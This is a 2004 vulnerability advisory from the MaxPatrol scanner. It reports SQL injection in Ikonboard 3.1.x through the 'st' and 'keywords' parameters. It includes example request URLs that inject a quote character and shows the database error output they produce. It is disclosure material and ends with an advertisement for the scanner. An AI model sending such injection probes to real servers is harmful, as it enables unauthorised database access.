[MaxPatrol] SQL-injection in Ikonboard 3.1.x

Release Date: December 16, 2004

Date Reported: December 2, 2004

Severity: High

Application: Ikonboard 3.1.x

Affects versions: 3.1.0, 3.1.1, 3.1.2 and 3.1.3.

Platform: PHP

I. DESCRIPTION

Input passed to the "st" and "keywords" parameters in "ikonboard.cgi" is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

1) SQL injection in "st" parameter

Example:

http://host/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=1'

Result:

Ikonboard CGI Error

-----------------------------------------------------------------------

Ikonboard has exited with the following error:

Can't query the data from 'forum_posts' Reason: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '', 20'

This error was reported at: line 1 Query: SELECT * FROM iB313_forum_posts WHERE TOPIC_ID = '13066' AND QUEUED <> '1' ORDER BY POST_DATE ASC LIMIT 1', 20

Please note that your 'real' paths have been removed to protect your information.

-----------------------------------------------------------------------

2) SQL injection in "keywords" parameter

Example:

http://host/support/ikonboard.cgi?act=Search&CODE=01&keywords='&type=nam
e&forums=all&search_in=all&prune=0

Result:

Ikonboard CGI Error

-----------------------------------------------------------------------

Ikonboard has exited with the following error:

mySQL error

Can't query the data: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ') ORDER BY DATE DESC LIMIT 0,200'

This error was reported at: line 1

Please note that your 'real' paths have been removed to protect your information.

-----------------------------------------------------------------------

This vulnerability found automatically by full-featured commercial version of MaxPatrol.

II. IMPACT

A remote user may be able to execute arbitrary SQL commands on the underlying database.

III. SOLUTION

Not available currently.

IV. VENDOR FIX/RESPONSE

Notified.

V. CREDIT

This vulnerability was discovered by Positive Technologies using MaxPatrol

(http://www.maxpatrol.com) - intellectual professional security scanner.

It is able to detect a substantial amount of vulnerabilities not published

yet. MaxPatrol's intelligent algorithms are also capable to detect a lot of

vulnerabilities in custom web-scripts (XSS, SQL and code injections, HTTP

Response splitting).

[ reply ]